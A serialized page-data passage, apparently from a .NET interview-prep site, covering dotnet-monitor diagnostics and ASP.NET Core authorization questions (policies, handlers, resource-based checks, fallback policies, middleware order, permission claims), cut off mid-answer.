environment:\n#       - DOTNETMONITOR_DiagnosticPort__ConnectionMode=Listen\n#       - DOTNETMONITOR_Storage__DumpTempFolder=\u002Ftmp\n#     volumes:\n#       - \u002Ftmp:\u002Ftmp\n#     command: [\"collect\", \"--no-auth\"]  # Note: add auth in production\n\n# Capture a CPU trace via the REST API:\ncurl -X POST http:\u002F\u002Flocalhost:52323\u002Ftrace \\\n    -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"profile\": \"CpuSampling\", \"durationSeconds\": 30}' \\\n    --output trace.nettrace\n\n# Capture a memory dump:\ncurl -X POST http:\u002F\u002Flocalhost:52323\u002Fdump?type=Full \\\n    --output app.dmp\n\n# Live metrics stream (Prometheus-compatible scrape):\n# GET http:\u002F\u002Flocalhost:52325\u002Fmetrics\n```\n\n```json\n\u002F\u002F Trigger-based collection — automatically capture a dump when CPU exceeds 80%:\n\u002F\u002F (collectionrules.json mounted into the monitor container)\n{\n  \"CollectionRules\": {\n    \"HighCpuDump\": {\n      \"Trigger\": { \"Type\": \"EventCounter\",\n        \"Settings\": { \"ProviderName\": \"System.Runtime\",\n          \"CounterName\": \"cpu-usage\", \"GreaterThan\": 80 } },\n      \"Actions\": [\n        { \"Type\": \"CollectDump\", \"Settings\": { \"Type\": \"Heap\",\n          \"Egress\": \"AzureBlobStorage\" } }\n      ],\n      \"Limits\": { \"ActionCount\": 2, \"ActionCountSlidingWindowDuration\": \"01:00:00\" }\n    }\n  }\n}\n```\n\n**Rule of thumb:** Deploy dotnet-monitor as a sidecar in every Kubernetes pod\nrunning a .NET service. It gives you on-demand traces and dumps without\nredeploying the application or breaching the container boundary.\n",{"description":94},"Logging and monitoring interview questions — ILogger, structured logging, Serilog, log scopes, health checks, OpenTelemetry metrics, and distributed tracing.","dotnet\u002Fperformance-deployment\u002Flogging-monitoring","Logging & Monitoring","EB_8n88YuCvlmWZviVj9Wokjt8SlSzSqOUpv8KJ73YQ",{"id":1142,"title":1143,"body":1144,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":1148,"navigation":99,"order":29,"path":1149,"questions":1150,"questionsCount":163,"related":164,"seo":1211,"seoDescription":1212,"stem":1213,"subtopic":1143,"topic":64,"topicSlug":66,"updated":168,"__hash__":1214},"qa\u002Fdotnet\u002Fsecurity\u002Fauthorization.md","Authorization",{"type":91,"value":1145,"toc":1146},[],{"title":94,"searchDepth":29,"depth":29,"links":1147},[],{},"\u002Fdotnet\u002Fsecurity\u002Fauthorization",[1151,1155,1159,1163,1167,1171,1175,1179,1183,1187,1191,1195,1199,1203,1207],{"id":1152,"difficulty":104,"q":1153,"a":1154},"authz-policy-vs-role","What is policy-based authorization and how does it differ from role-based authorization?","**Role-based authorization** checks whether the user belongs to a named role — it's\nsimple but inflexible. **Policy-based authorization** evaluates one or more composable\n*requirements*, enabling richer rules (minimum age, department, subscription tier, etc.).\n\n```csharp\n\u002F\u002F Role-based — check a single ClaimTypes.Role claim:\n[Authorize(Roles = \"Admin\")]           \u002F\u002F single role\n[Authorize(Roles = \"Admin,Manager\")]   \u002F\u002F either role (OR logic)\npublic class AdminController : ControllerBase { }\n\n\u002F\u002F Stacking [Authorize] means AND — both must pass:\n[Authorize(Roles = \"Admin\")]\n[Authorize(Roles = \"Manager\")]\npublic class AdminManagerOnlyController : ControllerBase { }\n\n\u002F\u002F Policy-based — named policy with composable requirements:\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"SeniorEmployee\", policy =>\n        policy.RequireAuthenticatedUser()\n              .RequireRole(\"Employee\")\n              .RequireClaim(\"department\", \"Engineering\", \"Product\")\n              .RequireClaim(\"years_tenure\")\n              .AddRequirements(new MinimumTenureRequirement(years: 3)));\n\n[Authorize(Policy = \"SeniorEmployee\")]\npublic class SeniorPortalController : ControllerBase { }\n\n\u002F\u002F Policy centralizes rules — change the policy definition, all usages update:\n\u002F\u002F Role check is just a shortcut policy under the hood.\n```\n\n**Rule of thumb:** Use `Roles` for simple, coarse-grained access. Use policies for\nanything beyond a single role check — they're reusable, testable, and centralized.\n",{"id":1156,"difficulty":104,"q":1157,"a":1158},"add-authorization","How do you configure authorization policies in ASP.NET Core?","Policies are registered in `AddAuthorization` (or `AddAuthorizationBuilder` .NET 8+)\nand applied with `[Authorize(Policy = \"...\")]` or `RequireAuthorization(\"...\")`.\n\n```csharp\n\u002F\u002F .NET 8+ fluent builder — cleaner API:\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"AtLeast18\", policy =>\n        policy.Requirements.Add(new MinimumAgeRequirement(18)))\n\n    .AddPolicy(\"PremiumUser\", policy =>\n        policy.RequireAuthenticatedUser()\n              .RequireClaim(\"subscription\", \"premium\", \"enterprise\"))\n\n    .AddPolicy(\"AdminOnly\", policy =>\n        policy.RequireRole(\"Admin\"))\n\n    .SetDefaultPolicy(new AuthorizationPolicyBuilder()\n        .RequireAuthenticatedUser()\n        .Build())\n\n    .SetFallbackPolicy(null); \u002F\u002F null = allow anonymous by default (change if needed)\n\n\u002F\u002F .NET 6\u002F7 style:\nbuilder.Services.AddAuthorization(options =>\n{\n    options.AddPolicy(\"AtLeast18\", policy =>\n        policy.Requirements.Add(new MinimumAgeRequirement(18)));\n});\n\n\u002F\u002F Apply in controllers:\n[Authorize(Policy = \"PremiumUser\")]\npublic class PremiumController : ControllerBase { }\n\n\u002F\u002F Apply in minimal APIs:\napp.MapGet(\"\u002Fpremium\", () => \"premium content\")\n   .RequireAuthorization(\"PremiumUser\");\n\n\u002F\u002F Combine policies — both must pass (AND logic):\napp.MapPost(\"\u002Fadmin\u002Fpremium\", () => \"admin + premium\")\n   .RequireAuthorization(\"AdminOnly\", \"PremiumUser\");\n```\n\n**Rule of thumb:** Define policies centrally during startup — avoid scattering role\nstrings across controllers. Centralizing rules means a single change updates every\nendpoint that uses that policy.\n",{"id":1160,"difficulty":96,"q":1161,"a":1162},"requirements-handlers","What are authorization requirements and handlers, and how do they work together?","An **`IAuthorizationRequirement`** is a data object that describes what must be true.\nAn **`IAuthorizationHandler`** evaluates whether the requirement is met for a given\nuser and resource.\n\n```csharp\n\u002F\u002F 1. Define the requirement (plain data, no logic):\npublic class MinimumAgeRequirement : IAuthorizationRequirement\n{\n    public int MinimumAge { get; }\n    public MinimumAgeRequirement(int minimumAge) => MinimumAge = minimumAge;\n}\n\n\u002F\u002F 2. Implement the handler (all logic lives here):\npublic class MinimumAgeHandler : AuthorizationHandler\u003CMinimumAgeRequirement>\n{\n    protected override Task HandleRequirementAsync(\n        AuthorizationHandlerContext context,\n        MinimumAgeRequirement requirement)\n    {\n        var dob = context.User.FindFirstValue(ClaimTypes.DateOfBirth);\n\n        if (dob is null)\n        {\n            \u002F\u002F Don't call Fail() — let other handlers try if any are registered:\n            return Task.CompletedTask;\n        }\n\n        var age = DateTime.Today.Year - DateTime.Parse(dob).Year;\n\n        if (age >= requirement.MinimumAge)\n            context.Succeed(requirement); \u002F\u002F requirement satisfied — call this to pass\n        else\n            context.Fail();               \u002F\u002F explicitly deny (overrides any Succeed)\n\n        return Task.CompletedTask;\n    }\n}\n\n\u002F\u002F 3. Register both:\nbuilder.Services.AddSingleton\u003CIAuthorizationHandler, MinimumAgeHandler>();\n\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"AtLeast18\", policy =>\n        policy.Requirements.Add(new MinimumAgeRequirement(18)));\n\n\u002F\u002F One requirement can have multiple handlers — any Succeed passes the requirement:\n\u002F\u002F All requirements in a policy must pass for the policy to succeed.\n```\n\n**Rule of thumb:** Keep requirements as pure data (no logic). All evaluation logic\nbelongs in the handler. This separation makes handlers independently testable with\njust a constructed `AuthorizationHandlerContext`.\n",{"id":1164,"difficulty":206,"q":1165,"a":1166},"resource-based-authz","What is resource-based authorization and when do you need it?","**Resource-based authorization** evaluates permissions against a specific resource\ninstance — \"can *this user* edit *this document*?\" — as opposed to global role checks.\nIt uses `IAuthorizationService` directly in code because the resource isn't known at\nroute decoration time.\n\n```csharp\n\u002F\u002F Requirement — carries the operation:\npublic static class DocumentOperations\n{\n    public static OperationAuthorizationRequirement Read   = new() { Name = \"Read\" };\n    public static OperationAuthorizationRequirement Edit   = new() { Name = \"Edit\" };\n    public static OperationAuthorizationRequirement Delete = new() { Name = \"Delete\" };\n}\n\n\u002F\u002F Handler — receives the resource instance at runtime:\npublic class DocumentAuthorizationHandler\n    : AuthorizationHandler\u003COperationAuthorizationRequirement, Document>\n{\n    protected override Task HandleRequirementAsync(\n        AuthorizationHandlerContext context,\n        OperationAuthorizationRequirement requirement,\n        Document document)   \u002F\u002F ← the actual resource instance\n    {\n        var userId = context.User.FindFirstValue(ClaimTypes.NameIdentifier);\n\n        if (requirement.Name == \"Read\" && document.IsPublic)\n            context.Succeed(requirement);\n        else if (document.OwnerId == userId)\n            context.Succeed(requirement);  \u002F\u002F owner can do anything\n        else if (requirement.Name != \"Delete\" && context.User.IsInRole(\"Editor\"))\n            context.Succeed(requirement);  \u002F\u002F editors can read\u002Fedit but not delete\n\n        return Task.CompletedTask;\n    }\n}\n\n\u002F\u002F Register:\nbuilder.Services.AddSingleton\u003CIAuthorizationHandler, DocumentAuthorizationHandler>();\n\n\u002F\u002F Call from a controller or service — inject IAuthorizationService:\n[HttpPut(\"{id}\")]\npublic async Task\u003CIActionResult> UpdateDocument(int id, [FromBody] UpdateDto dto)\n{\n    var document = await _repo.GetByIdAsync(id);\n    if (document is null) return NotFound();\n\n    var authResult = await _authorizationService.AuthorizeAsync(\n        User, document, DocumentOperations.Edit);\n\n    if (!authResult.Succeeded) return Forbid();\n\n    await _repo.UpdateAsync(document, dto);\n    return NoContent();\n}\n```\n\n**Rule of thumb:** Use `[Authorize(Policy = \"...\")]` for global checks (role, age).\nUse `IAuthorizationService.AuthorizeAsync(user, resource, requirement)` when the\ndecision depends on the data being accessed.\n",{"id":1168,"difficulty":104,"q":1169,"a":1170},"authorize-attribute","How does the [Authorize] attribute work and what are its key parameters?","`[Authorize]` is an action filter that runs after authentication and before the action\nmethod. It evaluates the user's `ClaimsPrincipal` against the specified roles, policy,\nor authentication scheme.\n\n```csharp\n\u002F\u002F Bare [Authorize] — requires IsAuthenticated = true (default policy):\n[Authorize]\npublic IActionResult Profile() => Ok(User.Identity!.Name);\n\n\u002F\u002F Role — checks ClaimTypes.Role claim (comma = OR, stacked = AND):\n[Authorize(Roles = \"Admin,SuperAdmin\")]       \u002F\u002F Admin OR SuperAdmin\npublic IActionResult AdminArea() => Ok();\n\n[Authorize(Roles = \"Admin\")]\n[Authorize(Roles = \"Manager\")]               \u002F\u002F Admin AND Manager\npublic IActionResult AdminManager() => Ok();\n\n\u002F\u002F Named policy:\n[Authorize(Policy = \"PremiumUser\")]\npublic IActionResult PremiumContent() => Ok();\n\n\u002F\u002F Specific authentication scheme (evaluate with this scheme only):\n[Authorize(AuthenticationSchemes = JwtBearerDefaults.AuthenticationScheme)]\npublic IActionResult ApiEndpoint() => Ok();\n\n\u002F\u002F Controller-level + action-level (both must pass):\n[Authorize]                       \u002F\u002F all actions require auth\npublic class AccountController : ControllerBase\n{\n    [AllowAnonymous]              \u002F\u002F this action overrides — allows anonymous\n    public IActionResult Login() => Ok();\n\n    [Authorize(Roles = \"Admin\")] \u002F\u002F this action requires auth + Admin role\n    public IActionResult AdminAction() => Ok();\n\n    public IActionResult Profile() => Ok(); \u002F\u002F uses controller-level [Authorize]\n}\n```\n\n**Rule of thumb:** Prefer `[Authorize]` at the controller level with `[AllowAnonymous]`\non exceptions — it's harder to accidentally expose an endpoint. Avoid sprinkling\n`[AllowAnonymous]` at the controller level with `[Authorize]` on individual actions.\n",{"id":1172,"difficulty":96,"q":1173,"a":1174},"iauthorizationservice","How do you use IAuthorizationService for imperative authorization checks?","**`IAuthorizationService`** allows runtime authorization checks in service\u002Fcontroller\ncode rather than declarative attribute-only checks. Inject it and call\n`AuthorizeAsync`.\n\n```csharp\n\u002F\u002F Controller — inject IAuthorizationService:\n[ApiController]\n[Route(\"api\u002Fdocuments\")]\npublic class DocumentsController : ControllerBase\n{\n    private readonly IAuthorizationService _authz;\n    private readonly IDocumentRepository _repo;\n\n    public DocumentsController(IAuthorizationService authz, IDocumentRepository repo)\n    {\n        _authz = authz;\n        _repo  = repo;\n    }\n\n    [HttpGet(\"{id}\")]\n    public async Task\u003CIActionResult> Get(int id)\n    {\n        var doc = await _repo.GetAsync(id);\n        if (doc is null) return NotFound();\n\n        \u002F\u002F Imperative check — policy name:\n        var result = await _authz.AuthorizeAsync(User, \"CanReadDocuments\");\n        if (!result.Succeeded) return Forbid();\n\n        return Ok(doc);\n    }\n\n    [HttpDelete(\"{id}\")]\n    public async Task\u003CIActionResult> Delete(int id)\n    {\n        var doc = await _repo.GetAsync(id);\n        if (doc is null) return NotFound();\n\n        \u002F\u002F Imperative check — resource-based with specific requirement:\n        var result = await _authz.AuthorizeAsync(User, doc, DocumentOperations.Delete);\n        if (!result.Succeeded) return Forbid();\n\n        await _repo.DeleteAsync(id);\n        return NoContent();\n    }\n}\n\n\u002F\u002F In a service (not a controller) — the user must be passed in:\npublic class DocumentService\n{\n    private readonly IAuthorizationService _authz;\n\n    public async Task\u003Cbool> CanDeleteAsync(ClaimsPrincipal user, Document doc)\n    {\n        var result = await _authz.AuthorizeAsync(user, doc, DocumentOperations.Delete);\n        return result.Succeeded;\n    }\n}\n```\n\n**Rule of thumb:** Use `IAuthorizationService` when the authorization decision depends\non runtime data (the resource itself). Use `[Authorize(Policy = \"...\")]` for static\nchecks that don't need a resource instance.\n",{"id":1176,"difficulty":96,"q":1177,"a":1178},"claims-based-authz","How do you authorize based on specific claim values rather than roles?","`RequireClaim` in a policy checks for the presence of a claim type, or optionally\nvalidates that its value is in an allowed set.\n\n```csharp\nbuilder.Services.AddAuthorizationBuilder()\n\n    \u002F\u002F Require the claim to exist (any value):\n    .AddPolicy(\"VerifiedEmail\", policy =>\n        policy.RequireClaim(ClaimTypes.Email))\n\n    \u002F\u002F Require specific values (OR — any value in the set passes):\n    .AddPolicy(\"EURegion\", policy =>\n        policy.RequireClaim(\"region\", \"EU\", \"EEA\", \"CH\"))\n\n    \u002F\u002F Combine multiple claim requirements (AND):\n    .AddPolicy(\"VerifiedEUUser\", policy =>\n        policy.RequireAuthenticatedUser()\n              .RequireClaim(ClaimTypes.Email)\n              .RequireClaim(\"email_verified\", \"true\")\n              .RequireClaim(\"region\", \"EU\", \"EEA\"))\n\n    \u002F\u002F Custom requirement for complex value logic:\n    .AddPolicy(\"PremiumOrTrial\", policy =>\n        policy.RequireAssertion(ctx =>\n        {\n            var sub  = ctx.User.FindFirstValue(\"subscription\");\n            var trial = ctx.User.FindFirstValue(\"trial_active\");\n            return sub == \"premium\" || trial == \"true\";\n        }));\n\n\u002F\u002F RequireAssertion — inline lambda for simple one-off logic:\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"WeekdayOnly\", policy =>\n        policy.RequireAssertion(_ =>\n            DateTime.UtcNow.DayOfWeek is not DayOfWeek.Saturday\n                                       and not DayOfWeek.Sunday));\n```\n\n**Rule of thumb:** Use `RequireClaim` for attribute-style checks that map neatly to a\nclaim value. Use `RequireAssertion` for inline logic that doesn't warrant a full\nrequirement+handler pair. Move complex, reusable logic to a proper handler.\n",{"id":1180,"difficulty":96,"q":1181,"a":1182},"fallback-default-policy","What are the default policy and fallback policy in ASP.NET Core authorization?","The **default policy** is applied when `[Authorize]` is used with no policy name.\nThe **fallback policy** is applied to every endpoint that has *no* authorization\nmetadata at all — including endpoints that never have `[Authorize]` on them.\n\n```csharp\nbuilder.Services.AddAuthorizationBuilder()\n    \u002F\u002F Applied when [Authorize] has no parameters:\n    .SetDefaultPolicy(new AuthorizationPolicyBuilder()\n        .RequireAuthenticatedUser()\n        .Build())\n\n    \u002F\u002F Applied to ALL endpoints with no [Authorize] attribute\n    \u002F\u002F (opt-in secure-by-default):\n    .SetFallbackPolicy(new AuthorizationPolicyBuilder()\n        .RequireAuthenticatedUser()\n        .Build());\n\u002F\u002F With a fallback policy, every route is protected unless explicitly opened:\n\u002F\u002F app.MapGet(\"\u002Fpublic\", ...).AllowAnonymous();\n\n\u002F\u002F Secure-by-default pattern with minimal API groups:\nvar secured = app.MapGroup(\"\u002Fapi\").RequireAuthorization();    \u002F\u002F all children protected\nvar open    = app.MapGroup(\"\u002Fpublic\").AllowAnonymous();        \u002F\u002F all children public\n\n\u002F\u002F Disable fallback for a specific endpoint:\nsecured.MapGet(\"\u002Fhealth\", () => \"ok\").AllowAnonymous();\n\n\u002F\u002F Without a fallback policy (default behavior) — anonymous access is allowed\n\u002F\u002F to any route without [Authorize]. Easy to accidentally expose sensitive routes.\n```\n\n**Rule of thumb:** Set a fallback policy of `RequireAuthenticatedUser` in API-only\napplications — it makes the secure path the default and forces you to explicitly\nopt out with `[AllowAnonymous]`. This prevents accidentally exposing endpoints.\n",{"id":1184,"difficulty":104,"q":1185,"a":1186},"allow-anonymous","How does [AllowAnonymous] work and where should you use it?","`[AllowAnonymous]` bypasses all authorization requirements for the endpoint it decorates,\nincluding the fallback policy. It's absolute — no policy can override it.\n\n```csharp\n\u002F\u002F [AllowAnonymous] at action level overrides [Authorize] at controller level:\n[Authorize]\npublic class AccountController : ControllerBase\n{\n    [AllowAnonymous]        \u002F\u002F no auth needed — this action is public\n    [HttpGet(\"login\")]\n    public IActionResult Login() => View();\n\n    [AllowAnonymous]        \u002F\u002F public — return form to browser\n    [HttpPost(\"login\")]\n    public async Task\u003CIActionResult> Login([FromBody] LoginDto dto) { \u002F* ... *\u002F return Ok(); }\n\n    [HttpGet(\"profile\")]    \u002F\u002F inherits [Authorize] from controller — requires auth\n    public IActionResult Profile() => Ok(User.Identity!.Name);\n\n    [Authorize(Roles = \"Admin\")]  \u002F\u002F requires auth AND Admin role\n    [HttpGet(\"admin\")]\n    public IActionResult Admin() => Ok();\n}\n\n\u002F\u002F In minimal APIs:\nvar api = app.MapGroup(\"\u002Fapi\").RequireAuthorization();\napi.MapGet(\"\u002Fproducts\", (IProductService svc) => svc.GetAll()); \u002F\u002F protected\napi.MapGet(\"\u002Fhealth\",   () => Results.Ok()).AllowAnonymous();    \u002F\u002F public\n\n\u002F\u002F [AllowAnonymous] defeats even a fallback policy:\n\u002F\u002F If SetFallbackPolicy(requireAuth), AllowAnonymous still bypasses it.\n```\n\n**Rule of thumb:** Put `[Authorize]` at the highest scope (controller, group) and\n`[AllowAnonymous]` at the lowest scope (individual actions\u002Fendpoints). Never put\n`[AllowAnonymous]` at the controller level — it becomes invisible to callers adding\nnew protected actions.\n",{"id":1188,"difficulty":96,"q":1189,"a":1190},"global-authorize-filter","How do you add a global authorization filter so that every endpoint requires authentication?","Add `AuthorizeFilter` globally in MVC options, or set a fallback policy. Both\napproaches require authentication on every route unless `[AllowAnonymous]` is present.\n\n```csharp\n\u002F\u002F Option 1 — global MVC filter (controllers only, not minimal APIs):\nbuilder.Services.AddControllers(options =>\n{\n    var policy = new AuthorizationPolicyBuilder()\n        .RequireAuthenticatedUser()\n        .Build();\n    options.Filters.Add(new AuthorizeFilter(policy));\n});\n\n\u002F\u002F Option 2 — fallback policy (works for controllers + minimal APIs):\nbuilder.Services.AddAuthorizationBuilder()\n    .SetFallbackPolicy(new AuthorizationPolicyBuilder()\n        .RequireAuthenticatedUser()\n        .Build());\n\n\u002F\u002F Option 3 — MapGroup with RequireAuthorization (minimal API scoping):\nvar api = app.MapGroup(\"\u002Fapi\").RequireAuthorization();\n\n\u002F\u002F In all three cases, open specific endpoints with [AllowAnonymous]:\n[AllowAnonymous]\n[HttpGet(\"public-status\")]\npublic IActionResult PublicStatus() => Ok(\"online\");\n\n\u002F\u002F Recommendation: prefer the fallback policy over the MVC filter\n\u002F\u002F because it covers both controllers and minimal API endpoints.\n```\n\n**Rule of thumb:** For API-only applications, set the fallback policy to\n`RequireAuthenticatedUser` — it's the single secure-by-default knob that covers\nevery routing mechanism.\n",{"id":1192,"difficulty":206,"q":1193,"a":1194},"policy-provider","What is IAuthorizationPolicyProvider and when would you implement a custom one?","**`IAuthorizationPolicyProvider`** is called by the authorization system to look up\npolicies by name. The default implementation searches the policies registered in\n`AddAuthorization`. A custom provider lets you generate policies dynamically — useful\nfor parameterized policies like `MinimumAge:18` without registering every variant\nupfront.\n\n```csharp\n\u002F\u002F Without a custom provider, every variant must be registered explicitly:\n\u002F\u002F .AddPolicy(\"MinimumAge:16\", ...) .AddPolicy(\"MinimumAge:18\", ...) — tedious\n\n\u002F\u002F With a custom provider — generate policies on demand:\npublic class MinimumAgePolicyProvider : IAuthorizationPolicyProvider\n{\n    private const string PolicyPrefix = \"MinimumAge:\";\n    private readonly DefaultAuthorizationPolicyProvider _fallback;\n\n    public MinimumAgePolicyProvider(IOptions\u003CAuthorizationOptions> options)\n        => _fallback = new DefaultAuthorizationPolicyProvider(options);\n\n    public Task\u003CAuthorizationPolicy?> GetPolicyAsync(string policyName)\n    {\n        if (policyName.StartsWith(PolicyPrefix, StringComparison.OrdinalIgnoreCase))\n        {\n            if (int.TryParse(policyName[PolicyPrefix.Length..], out var age))\n            {\n                var policy = new AuthorizationPolicyBuilder()\n                    .AddRequirements(new MinimumAgeRequirement(age))\n                    .Build();\n                return Task.FromResult\u003CAuthorizationPolicy?>(policy);\n            }\n        }\n        return _fallback.GetPolicyAsync(policyName); \u002F\u002F delegate to default\n    }\n\n    public Task\u003CAuthorizationPolicy> GetDefaultPolicyAsync()\n        => _fallback.GetDefaultPolicyAsync();\n\n    public Task\u003CAuthorizationPolicy?> GetFallbackPolicyAsync()\n        => _fallback.GetFallbackPolicyAsync();\n}\n\n\u002F\u002F Register (replaces the default provider):\nbuilder.Services.AddSingleton\u003CIAuthorizationPolicyProvider, MinimumAgePolicyProvider>();\n\n\u002F\u002F Use parameterized policy names anywhere:\n[Authorize(Policy = \"MinimumAge:21\")]\npublic IActionResult AlcoholSection() => Ok();\n\n[Authorize(Policy = \"MinimumAge:16\")]\npublic IActionResult TeenSection() => Ok();\n```\n\n**Rule of thumb:** Implement `IAuthorizationPolicyProvider` only when you have a family\nof policies that differ only by a parameter (age, permission ID, etc.). Always fall back\nto `DefaultAuthorizationPolicyProvider` for all other policy names.\n",{"id":1196,"difficulty":96,"q":1197,"a":1198},"authorization-middleware-order","Why does middleware order matter for authorization, and what breaks if it is wrong?","Authorization middleware relies on `HttpContext.User` being populated before it runs.\nIf `UseAuthorization` is placed before `UseAuthentication`, every request arrives with\nan anonymous principal and all `[Authorize]` checks fail or pass incorrectly.\n\n```csharp\n\u002F\u002F Correct order — build, authenticate, then authorize:\nvar app = builder.Build();\n\napp.UseRouting();          \u002F\u002F 1. resolve the endpoint (needed by auth middleware)\napp.UseAuthentication();   \u002F\u002F 2. populate HttpContext.User from cookie or token\napp.UseAuthorization();    \u002F\u002F 3. evaluate [Authorize] against the populated User\napp.MapControllers();      \u002F\u002F 4. dispatch to the controller action\n\n\u002F\u002F Wrong — authorization runs before the user identity is established:\n\u002F\u002F app.UseAuthorization();  \u002F\u002F HttpContext.User = anonymous ClaimsPrincipal\n\u002F\u002F app.UseAuthentication(); \u002F\u002F too late — authorization already ran\n\n\u002F\u002F Wrong — routing not called before auth in older templates:\n\u002F\u002F app.UseAuthentication();\n\u002F\u002F app.UseAuthorization();\n\u002F\u002F app.UseRouting(); \u002F\u002F endpoint metadata (like [Authorize]) not yet resolved\n\n\u002F\u002F Effect of wrong order:\n\u002F\u002F [Authorize] endpoints return 401 for every request, including authenticated users.\n\u002F\u002F Resource-based checks via IAuthorizationService still work (called in action bodies)\n\u002F\u002F but attribute-based checks at the middleware level silently fail.\n\n\u002F\u002F Note: UseEndpoints (pre-.NET 6) must also come after UseRouting:\n\u002F\u002F app.UseRouting();\n\u002F\u002F app.UseAuthentication();\n\u002F\u002F app.UseAuthorization();\n\u002F\u002F app.UseEndpoints(e => e.MapControllers());\n```\n\n**Rule of thumb:** The canonical order is `UseRouting → UseAuthentication → UseAuthorization\n→ MapControllers\u002FMapGet`. In .NET 6+ minimal hosting this is the default, but always\nverify when customizing the pipeline.\n",{"id":1200,"difficulty":206,"q":1201,"a":1202},"permission-based-authz","How do you implement fine-grained permission-based authorization beyond roles?","Roles are coarse-grained. For fine-grained control, model **permissions** as claims\nor a custom requirement, and load them from your data store during authentication.\n\n```csharp\n\u002F\u002F Option 1 — permission claims added at login time:\n\u002F\u002F Permissions are stored in the DB (per-user or per-role) and embedded in the token.\n\npublic class PermissionService\n{\n    private readonly AppDbContext _db;\n    public PermissionService(AppDbContext db) => _db = db;\n\n    public async Task\u003CIEnumerable\u003Cstring>> GetForUserAsync(string userId)\n        => await _db.UserPermissions\n            .Where(p => p.UserId == userId)\n            .Select(p => p.Name) \u002F\u002F e.g. \"orders:read\", \"orders:write\"\n            .ToListAsync();\n}\n\n\u002F\u002F Embed permissions as claims when the cookie\u002Ftoken is created:\nvar permissions = await _permissionService.GetForUserAsync(user.Id);\nvar claims = permissions.Select(p => new Claim(\"permission\", p)).ToList();\nclaims.Add(new Claim(ClaimTypes.NameIdentifier, user.Id));\n\n\u002F\u002F Option 2 — custom requirement + handler that checks the claim:\npublic class PermissionRequirement : IAuthorizationRequirement\n{\n    public string Permission { get; }\n    public PermissionRequirement(string permission) => Permission = permission;\n}\n\npublic class PermissionHandler : AuthorizationHandler\u003CPermissionRequirement>\n{\n    protected override Task HandleRequirementAsync(\n        AuthorizationHandlerContext context,\n        PermissionRequirement requirement)\n    {\n        var hasPermission = context.User\n            .FindAll(\"permission\")\n            .Any(c => c.Value == requirement.Permission);\n\n        if (hasPermission)\n            context.Succeed(requirement);\n\n        return Task.CompletedTask;\n    }\n}\n\n\u002F\u002F Register and define policies:\nbuilder.Services.AddSingleton\u003CIAuthorizationHandler, PermissionHandler>();\n\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"orders:read\",  p => p.AddRequirements(new PermissionRequirement(\"orders:read\")))\n    .AddPolicy(\"orders:write\", p => p.AddRequirements(new PermissionRequirement(\"orders:write\")));\n\n\u002F\u002F Use on endpoints:\n[Authorize(Policy = \"orders:write\")]\n[HttpPost(\"orders\")]\npublic IActionResult CreateOrder([FromBody] CreateOrderDto dto) => Ok();\n```\n\n**Rule of thumb:** Keep permissions granular and name them as `resource:action` strings\n(e.g., `orders:write`). Store them per-role in the DB so you can update permissions\nwithout redeploying; embed them in the token at login to avoid a DB lookup on every request.\n",{"id":1204,"difficulty":206,"q":1205,"a":1206},"conditional-access","How do you implement conditional access rules, such as restricting endpoints by IP range or time of day?","Use `RequireAssertion` for simple inline rules, or implement a full\n`IAuthorizationRequirement` + handler for complex, reusable conditions. The\n`AuthorizationHandlerContext` gives you access to `HttpContext` via the resource.\n\n```csharp\n\u002F\u002F Simple time-of-day gate via RequireAssertion:\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"BusinessHoursOnly\", policy =>\n        policy.RequireAuthenticatedUser()\n              .RequireAssertion(_ =>\n              {\n                  var now = DateTime.UtcNow;\n                  \u002F\u002F Allow Mon–Fri 09:00–17:00 UTC:\n                  return now.DayOfWeek is not DayOfWeek.Saturday\n                                        and not DayOfWeek.Sunday\n                      && now.Hour >= 9 && now.Hour \u003C 17;\n              }));\n\n\u002F\u002F IP range restriction — requirement + handler accessing HttpContext:\npublic class AllowedIpRequirement : IAuthorizationRequirement\n{\n    public IReadOnlyList\u003Cstring> AllowedPrefixes { get; }\n    public AllowedIpRequirement(params string[] prefixes) => AllowedPrefixes = prefixes;\n}\n\npublic class AllowedIpHandler : AuthorizationHandler\u003CAllowedIpRequirement>\n{\n    private readonly IHttpContextAccessor _http;\n    public AllowedIpHandler(IHttpContextAccessor http) => _http = http;\n\n    protected override Task HandleRequirementAsync(\n        AuthorizationHandlerContext context,\n        AllowedIpRequirement requirement)\n    {\n        var remoteIp = _http.HttpContext?.Connection.RemoteIpAddress?.ToString();\n        if (remoteIp is not null &&\n            requirement.AllowedPrefixes.Any(prefix => remoteIp.StartsWith(prefix)))\n        {\n            context.Succeed(requirement);\n        }\n        \u002F\u002F Note: not calling Fail() allows other handlers to decide if registered\n        return Task.CompletedTask;\n    }\n}\n\n\u002F\u002F Register and apply:\nbuilder.Services.AddHttpContextAccessor();\nbuilder.Services.AddSingleton\u003CIAuthorizationHandler, AllowedIpHandler>();\n\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"InternalNetworkOnly\", policy =>\n        policy.RequireAuthenticatedUser()\n              .AddRequirements(new AllowedIpRequirement(\"10.0.\", \"192.168.\")));\n\n[Authorize(Policy = \"InternalNetworkOnly\")]\n[HttpGet(\"admin\u002Fdiagnostics\")]\npublic IActionResult Diagnostics() => Ok(\"internal only\");\n```\n\n**Rule of thumb:** Prefer `RequireAssertion` for stateless, self-contained conditions.\nUse a proper handler when the condition needs injected services (databases, HTTP context,\nconfiguration) — it keeps the logic testable and reusable across policies.\n",{"id":1208,"difficulty":96,"q":1209,"a":1210},"authorization-result-handling","How do you return custom error responses when authorization fails, instead of the default 403?","Override `IAuthorizationMiddlewareResultHandler` (ASP.NET Core 5+) or handle failures\nin `ProblemDetails` middleware. For specific schemes, use the scheme's event callbacks.\n\n```csharp\n\u002F\u002F Option 1 — custom IAuthorizationMiddlewareResultHandler:\npublic class CustomAuthorizationResultHandler : IAuthorizationMiddlewareResultHandler\n{\n    private readonly AuthorizationMiddlewareResultHandler _default = new();\n\n    public async Task HandleAsync(\n        RequestDelegate next,\n        HttpContext context,\n        AuthorizationPolicy policy,\n        PolicyAuthorizationResult authorizeResult)\n    {\n        if (authorizeResult.Forbidden && authorizeResult.AuthorizationFailure is not null)\n        {\n            \u002F\u002F Return structured JSON instead 